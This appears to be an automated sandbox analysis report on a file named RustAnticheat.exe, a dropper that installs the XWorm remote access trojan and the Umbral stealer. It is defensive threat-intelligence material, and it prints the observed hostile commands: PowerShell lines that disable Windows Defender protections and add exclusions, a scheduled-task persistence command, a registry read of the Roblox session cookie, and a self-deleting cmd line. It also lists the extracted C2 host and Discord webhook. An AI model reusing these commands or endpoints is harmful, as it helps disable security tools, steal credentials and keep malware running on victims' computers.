Analysis

  • max time kernel
    147s
  • max time network
    134s
  • platform
    windows7_x64
  • resource
    win7-20241010-en
  • resource tags

    arch:x64arch:x86image:win7-20241010-enlocale:en-usos:windows7-x64system
  • submitted
    03-01-2025 16:22

General

  • Target

    RustAnticheat.exe

  • Size

    1.1MB

  • MD5

    2fbbfbb74dc5aaadcfd211cfeffe2436

  • SHA1

    fabe364aa9a454fd4222a65208cc6e0ea20a055b

  • SHA256

    20f227a3b9bb4366e5f33adc724f6bfe729148984dc320985a306099b9fa2f81

  • SHA512

    f10ccf004653b8e8a05168b7045fd14247ca4d2e5d4917990129f5e9d0b8b3404bf19ae551e2cab3aaf0808d968c178b5b9b41df6e4527e11d8a3d2ab5e438ca

  • SSDEEP

    24576:Ubgge3IgtiIefG+2xzN0Vx0Pn+ugXDHonXKmbolhyr9hv3V:Ue3IgwqJCfBrLo6mbolhq3V

Malware Config

Extracted

Family

xworm

C2

say-bands.gl.at.ply.gg:41697

Attributes
  • Install_directory

    %Userprofile%

  • install_file

    RuntimeBroker.exe

Extracted

Family

umbral

C2

https://discord.com/api/webhooks/1324773241721454592/0bNkfJfnFLKYK9qsZKNX46VZrdz9_Q66rDPONU09Nh8_1RKAs7tIVY9WGoMFggyLSmFd

Signatures

  • Detect Umbral payload 2 IoCs
  • Detect Xworm Payload 3 IoCs
  • Umbral

    Umbral stealer is an opensource moduler stealer written in C#.

  • Umbral family
  • Xworm

    Xworm is a remote access trojan written in C#.

  • Xworm family
  • Command and Scripting Interpreter: PowerShell 1 TTPs 8 IoCs

    Run Powershell to modify Windows Defender settings to add exclusions for file extensions, paths, and processes.

  • Drops file in Drivers directory 1 IoCs
  • Drops startup file 2 IoCs
  • Executes dropped EXE 5 IoCs
  • Reads user/profile data of web browsers 3 TTPs

    Infostealers often target stored browser data, which can include saved credentials etc.

  • Adds Run key to start application 2 TTPs 1 IoCs
  • Legitimate hosting services abused for malware hosting/C2 1 TTPs 2 IoCs
  • Looks up external IP address via web service 1 IoCs

    Uses a legitimate IP lookup service to find the infected system's external IP.

  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • System Location Discovery: System Language Discovery 1 TTPs 1 IoCs

    Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

  • System Network Configuration Discovery: Internet Connection Discovery 1 TTPs 2 IoCs

    Adversaries may check for Internet connectivity on compromised systems.

  • Detects videocard installed 1 TTPs 1 IoCs

    Uses WMIC.exe to determine videocard installed.

  • Runs ping.exe 1 TTPs 1 IoCs
  • Scheduled Task/Job: Scheduled Task 1 TTPs 1 IoCs

    Schtasks is often used by malware for persistence or to perform post-infection execution.

  • Suspicious behavior: EnumeratesProcesses 11 IoCs
  • Suspicious use of AdjustPrivilegeToken 64 IoCs
  • Suspicious use of SetWindowsHookEx 1 IoCs
  • Suspicious use of WriteProcessMemory 64 IoCs
  • Uses Task Scheduler COM API 1 TTPs

    The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.

  • Views/modifies file attributes 1 TTPs 1 IoCs

Processes

  • C:\Users\Admin\AppData\Local\Temp\RustAnticheat.exe
    "C:\Users\Admin\AppData\Local\Temp\RustAnticheat.exe"
    1⤵
    • Suspicious use of WriteProcessMemory
    PID:1656
    • C:\Users\Admin\AppData\Roaming\Loader (1).exe
      "C:\Users\Admin\AppData\Roaming\Loader (1).exe"
      2⤵
      • Executes dropped EXE
      • System Location Discovery: System Language Discovery
      PID:2488
    • C:\Users\Admin\AppData\Roaming\RustCheack.exe
      "C:\Users\Admin\AppData\Roaming\RustCheack.exe"
      2⤵
      • Drops startup file
      • Executes dropped EXE
      • Adds Run key to start application
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      • Suspicious use of SetWindowsHookEx
      • Suspicious use of WriteProcessMemory
      PID:1924
      • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Roaming\RustCheack.exe'
        3⤵
        • Command and Scripting Interpreter: PowerShell
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of AdjustPrivilegeToken
        PID:2820
      • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionProcess 'RustCheack.exe'
        3⤵
        • Command and Scripting Interpreter: PowerShell
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of AdjustPrivilegeToken
        PID:2572
      • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionPath 'C:\Users\Admin\RuntimeBroker.exe'
        3⤵
        • Command and Scripting Interpreter: PowerShell
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of AdjustPrivilegeToken
        PID:1668
      • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionProcess 'RuntimeBroker.exe'
        3⤵
        • Command and Scripting Interpreter: PowerShell
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of AdjustPrivilegeToken
        PID:3044
      • C:\Windows\System32\schtasks.exe
        "C:\Windows\System32\schtasks.exe" /create /f /RL HIGHEST /sc minute /mo 1 /tn "RuntimeBroker" /tr "C:\Users\Admin\RuntimeBroker.exe"
        3⤵
        • Scheduled Task/Job: Scheduled Task
        PID:1264
    • C:\Users\Admin\AppData\Roaming\Umbral.exe
      "C:\Users\Admin\AppData\Roaming\Umbral.exe"
      2⤵
      • Drops file in Drivers directory
      • Executes dropped EXE
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      • Suspicious use of WriteProcessMemory
      PID:2444
      • C:\Windows\System32\Wbem\wmic.exe
        "wmic.exe" csproduct get uuid
        3⤵
        • Suspicious use of AdjustPrivilegeToken
        PID:2536
      • C:\Windows\system32\attrib.exe
        "attrib.exe" +h +s "C:\Users\Admin\AppData\Roaming\Umbral.exe"
        3⤵
        • Views/modifies file attributes
        PID:2416
      • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        "powershell.exe" Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Roaming\Umbral.exe'
        3⤵
        • Command and Scripting Interpreter: PowerShell
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of AdjustPrivilegeToken
        PID:1488
      • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        "powershell.exe" Set-MpPreference -DisableIntrusionPreventionSystem $true -DisableIOAVProtection $true -DisableRealtimeMonitoring $true -DisableScriptScanning $true -EnableControlledFolderAccess Disabled -EnableNetworkProtection AuditMode -Force -MAPSReporting Disabled -SubmitSamplesConsent NeverSend && powershell Set-MpPreference -SubmitSamplesConsent 2
        3⤵
        • Command and Scripting Interpreter: PowerShell
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of AdjustPrivilegeToken
        PID:1168
      • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        "powershell.exe" Get-ItemPropertyValue -Path HKCU:SOFTWARE\Roblox\RobloxStudioBrowser\roblox.com -Name .ROBLOSECURITY
        3⤵
        • Command and Scripting Interpreter: PowerShell
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of AdjustPrivilegeToken
        PID:2116
      • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        "powershell.exe" Get-ItemPropertyValue -Path HKLN:SOFTWARE\Roblox\RobloxStudioBrowser\roblox.com -Name .ROBLOSECURITY
        3⤵
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of AdjustPrivilegeToken
        PID:328
      • C:\Windows\System32\Wbem\wmic.exe
        "wmic.exe" os get Caption
        3⤵
        • Suspicious use of AdjustPrivilegeToken
        PID:1968
      • C:\Windows\System32\Wbem\wmic.exe
        "wmic.exe" computersystem get totalphysicalmemory
        3⤵
          PID:2052
        • C:\Windows\System32\Wbem\wmic.exe
          "wmic.exe" csproduct get uuid
          3⤵
            PID:876
          • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
            "powershell.exe" Get-ItemPropertyValue -Path 'HKLM:System\CurrentControlSet\Control\Session Manager\Environment' -Name PROCESSOR_IDENTIFIER
            3⤵
            • Command and Scripting Interpreter: PowerShell
            • Suspicious behavior: EnumeratesProcesses
            PID:2392
          • C:\Windows\System32\Wbem\wmic.exe
            "wmic" path win32_VideoController get name
            3⤵
            • Detects videocard installed
            PID:1908
          • C:\Windows\system32\cmd.exe
            "cmd.exe" /c ping localhost && del /F /A h "C:\Users\Admin\AppData\Roaming\Umbral.exe" && pause
            3⤵
            • System Network Configuration Discovery: Internet Connection Discovery
            • Suspicious use of WriteProcessMemory
            PID:352
            • C:\Windows\system32\PING.EXE
              ping localhost
              4⤵
              • System Network Configuration Discovery: Internet Connection Discovery
              • Runs ping.exe
              PID:804
      • C:\Windows\system32\taskeng.exe
        taskeng.exe {76236F34-873F-4F12-9C60-C0874FB92150} S-1-5-21-2039016743-699959520-214465309-1000:PIDEURYY\Admin:Interactive:[1]
        1⤵
          PID:2868
          • C:\Users\Admin\RuntimeBroker.exe
            C:\Users\Admin\RuntimeBroker.exe
            2⤵
            • Executes dropped EXE
            PID:3060
          • C:\Users\Admin\RuntimeBroker.exe
            C:\Users\Admin\RuntimeBroker.exe
            2⤵
            • Executes dropped EXE
            PID:1728

        Network

        MITRE ATT&CK Enterprise v15

        Replay Monitor

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        Downloads

        • C:\Users\Admin\AppData\Roaming\Loader (1).exe

          Filesize

          827KB

          MD5

          eefb801774c5ccb44153268a9357f5f1

          SHA1

          b1906b22e14edd142c52808ab3e5ba9346b85de5

          SHA256

          677aeb1981c58cba41a5d53ccbbf5b471e62dc49dc326570767da940560d840d

          SHA512

          1cf162fe6184d68dca514059d2de1123e80d0faac401765a54224aa5a987c9454bc92263fbec566835aa7b402f1f63ba59bb425ccc139e0a7391e66991f270b7

        • C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\590aee7bdd69b59b.customDestinations-ms

          Filesize

          7KB

          MD5

          866f4bff23d4f955316d45635bbe0f5b

          SHA1

          3c61f36543868c532617d5def2a93ab23cc0d044

          SHA256

          ded38904de816d28a70e99fac3fc5eb11391efa7e8ccae62a5bb44b4b89d7734

          SHA512

          f489adb9f9a8085110c82702d02039f1b9a7cb00a62359e6dbd65165ac1507e18be61ede8c0ef99fcbe35abbe3cdffbeedababde78a12579912cc6a31cffea2a

        • C:\Users\Admin\AppData\Roaming\RustCheack.exe

          Filesize

          77KB

          MD5

          aa503a26fcb9e14b90e0e6913ec68957

          SHA1

          678629ebaa7ec15ce726c28b4a9596427b0f29a5

          SHA256

          86d4817a7af82350e9cde59d0938a797d762abdd3f9d1bf2d47d4008fecbc2a5

          SHA512

          19db8b42492fbed5968c1083672cbc31faa60f44d64a19ed608e3602bb413573e9834d4e92db6ee324f43f48001e1b89f6dd3c935ae10e7e2be8107996583440

        • C:\Users\Admin\AppData\Roaming\Umbral.exe

          Filesize

          232KB

          MD5

          c1e4b555821d2cd22adc1f4bd409aac3

          SHA1

          d18aa95ed3dc98ce3981708ff1b16e4979e543d3

          SHA256

          563fc2d2f357a3ecd5c194fdba4f64b9c01b24cdc38c6c50c6b46c72ccab66a4

          SHA512

          57c5bf37a28b19677d3ae01eb1b4766e268966686ab44f830c85763308ed9cc530f73b45ec8ebff6bdfa4f905c77439e1044e86e714b117feaed6aef0b9c3de4

        • C:\Users\Admin\Desktop\LoaderLog.txt

          Filesize

          1KB

          MD5

          389d72e1489577790ca11a7b1b59a90a

          SHA1

          ae68266af84823fe1eca2c1adf432028b9c8bb8a

          SHA256

          121df99d3112ddce13c93dde197ed3cdd7402293f2e151aa482620a08044319e

          SHA512

          2d271ae6ff5f0c6dabe23ad2034056b1419b52d4d2df70d919ae0f3bd1b8cbdf3feeb8cfb623fcfd02eb471f8180acfac00aadae3f481a118ad38aa8e6e20dfc

        • C:\Users\Admin\Desktop\LoaderLog.txt

          Filesize

          4KB

          MD5

          666f86a6b112ee199a6860d9222e0107

          SHA1

          340c607d358ac30b2004819f6cb0b6efb39dd3d4

          SHA256

          1a95e42af0904cb630324e409c8a0290dad275ce721600830947576b2bfeb129

          SHA512

          ad87c6e4b18c3474f14bde905744b3169fc305c792f0b4f047f9eb60b068734d52e2ea126428e5bb468a442746a08b59c53f7fc36ab9ec52bf3e45ca842f74a5

        • memory/1168-54-0x000000001B4E0000-0x000000001B7C2000-memory.dmp

          Filesize

          2.9MB

        • memory/1168-55-0x0000000002360000-0x0000000002368000-memory.dmp

          Filesize

          32KB

        • memory/1656-1-0x0000000000AF0000-0x0000000000C14000-memory.dmp

          Filesize

          1.1MB

        • memory/1656-0-0x000007FEF5E13000-0x000007FEF5E14000-memory.dmp

          Filesize

          4KB

        • memory/1924-21-0x000007FEF5E10000-0x000007FEF67FC000-memory.dmp

          Filesize

          9.9MB

        • memory/1924-100-0x000007FEF5E10000-0x000007FEF67FC000-memory.dmp

          Filesize

          9.9MB

        • memory/1924-15-0x0000000000F70000-0x0000000000F8A000-memory.dmp

          Filesize

          104KB

        • memory/2392-94-0x000000001B8B0000-0x000000001BB92000-memory.dmp

          Filesize

          2.9MB

        • memory/2392-95-0x0000000001F40000-0x0000000001F48000-memory.dmp

          Filesize

          32KB

        • memory/2444-19-0x0000000000A50000-0x0000000000A90000-memory.dmp

          Filesize

          256KB

        • memory/2488-22-0x0000000000620000-0x000000000062A000-memory.dmp

          Filesize

          40KB

        • memory/2488-110-0x0000000000620000-0x000000000062A000-memory.dmp

          Filesize

          40KB

        • memory/2488-23-0x0000000000620000-0x000000000062A000-memory.dmp

          Filesize

          40KB

        • memory/2488-20-0x0000000000E40000-0x0000000000F16000-memory.dmp

          Filesize

          856KB

        • memory/2572-37-0x00000000022D0000-0x00000000022D8000-memory.dmp

          Filesize

          32KB

        • memory/2572-36-0x000000001B810000-0x000000001BAF2000-memory.dmp

          Filesize

          2.9MB

        • memory/2820-30-0x0000000001F40000-0x0000000001F48000-memory.dmp

          Filesize

          32KB

        • memory/2820-29-0x000000001B6F0000-0x000000001B9D2000-memory.dmp

          Filesize

          2.9MB

        • memory/3060-214-0x0000000001130000-0x000000000114A000-memory.dmp

          Filesize

          104KB